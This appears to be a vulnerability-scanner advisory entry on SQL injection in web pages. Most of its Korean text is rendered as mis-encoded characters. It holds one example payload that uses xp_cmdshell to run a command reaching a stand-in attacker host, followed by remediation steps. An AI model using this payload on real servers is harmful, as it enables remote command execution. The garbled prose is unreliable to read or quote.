English
¢¸¢· µÚ·Î
Ãë¾àÁ¡ID 22052
À§Çèµµ 40
Æ÷Æ® 80, ...
ÇÁ·ÎÅäÄÝ TCP
ºÐ·ù WWW
»ó¼¼¼³¸í ÇØ´ç À¥¼­¹öÀÇ ¸í±âµÈ À¥ ÆäÀÌÁö´Â SQL injection °ø°Ýµé¿¡ Ãë¾àÇÏ´Ù. ÇØ´ç À¥ ÆäÀÌÁö´Â SQL ¹®À» Àü´ÞÇϱâ Àü¿¡ »ç¿ëÀÚ ÀÔ·Â °ªµéÀ» °ËÁõÇÏÁö ¾Ê´Â´Ù. °ø°ÝÀÚ´Â ÀÚ½ÅÀÇ SQL ¸í·ÉµéÀ» ¸¸µé¾î À¥¼­¹ö¿¡ ¿¬°áµÈ µ¥ÀÌÅͺ£À̽º·Î º¸³» µ¥ÀÌÅͺ£À̽º ¿£Æ®¸®µé¿¡ ´ëÇØ Àбâ, ¼öÁ¤, »ý¼º, »èÁ¦ µîÀÇ ÇàÀ§¸¦ Çà»çÇÒ ¼ö ÀÖ´Ù.
SQL ¹®À» inject(»ðÀÔ) ÇÒ ¼ö ÀÖ´Ù´Â °ÍÀº °ø°ÝÀÚ°¡ ¶æ´ë·Î ÀÓÀÇÀÇ SQL ¹®À» ¼öÇà½Ãų ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. MS SQL ¼­¹ö´Â µðÆúÆ®·Î SYSTEM ±ÇÇÑÀ¸·Î ¼öÇàµÇ´Âµ¥ ÀÌ´Â À©µµ¿ìÁî¿¡¼­ AdministratorÀÇ ±ÇÇÑ°ú °°´Ù. °ø°ÝÀÚ´Â master..xp_cmdshell°ú °°Àº stored procedureµéÀ» »ç¿ëÇÏ¿© ´ÙÀ½°ú °°ÀÌ ¿ø°ÝÁö¿¡¼­ ÀÓÀÇÀÇ ¸í·ÉÀ» ¼öÇà½Ãų ¼ö ÀÖ´Ù:

http://[www.target.com]/vulnerable.asp?id=10'; exec master..xp_cmdshell 'ping www.attacker.com'--

* Âü°í »çÀÌÆ®:
http://www.unixwiz.net/techtips/sql-injection.html
http://www.tech-faq.com/sql-injection-attack.shtml
http://www.cgisecurity.com/development/sql.shtml
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://www.iss.net/security_center/static/8783.php


* ¿µÇâÀ» ¹Þ´Â Ç÷§Æû:
¸ðµç HTTP ¼­¹ö ¸ðµç ¹öÀü
¸ðµç ¿î¿µÃ¼Á¦ ¸ðµç ¹öÀü
ÇØ°áÃ¥ o ´ÙÀ½ ¸ðµç ¹®ÀÚ¿­¿¡¼­ NULL, ij¸®Áö ¸®ÅÏ(carry return), ½Å±Ô ¶óÀÎ µî°ú °°Àº È®Àå ¹®ÀÚ, ±×¸®°í ´ÜÀÏ ÀοëºÎÈ£, ÀÌÁß ÀοëºÎÈ£, ½½·¡½¬, ¹é ½½·¡½¬, ¼¼¹Ì Äݷаú °°Àº ¹®ÀÚµéÀ» °É·¯³»¾ß ÇÑ´Ù.
- »ç¿ëÀڷκÎÅÍÀÇ ÀԷ°ª
- URL¿¡¼­ÀÇ Àμöµé
- Cookie °ªµé

o ¼ýÀÚ °ªµé¿¡ ´ëÇØ SQL ¹®ÀåÀ¸·Î Çؼ®µÇ±â Àü¿¡ Á¤¼ö·Î º¯È¯ÇÑ´Ù. ISNUMERIC¸¦ »ç¿ëÇÏ¿© Á¤¼öÀÎÁö¸¦ È®ÀÎÇÒ ¼ö ÀÖ´Ù.

o SQL ¼­¹ö º¸¾È ÅÇ¿¡¼­ ³·Àº ±ÇÇÑÀÇ »ç¿ëÀÚ·Î MS SQL ¼­¹ö°¡ ¼öÇàµÇµµ·Ï "Startup and run SQL Server"¸¦ ¼öÁ¤ÇÑ´Ù.

o ´ÙÀ½°ú °°Àº »ç¿ëÇÏÁö ¾Ê´Â stored procedure µéÀº Á¦°ÅÇÏ¿©¾ß ÇÑ´Ù:

master..xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
°ü·Ã URL (CVE)
°ü·Ã URL (SecurityFocus)
°ü·Ã URL (ISS)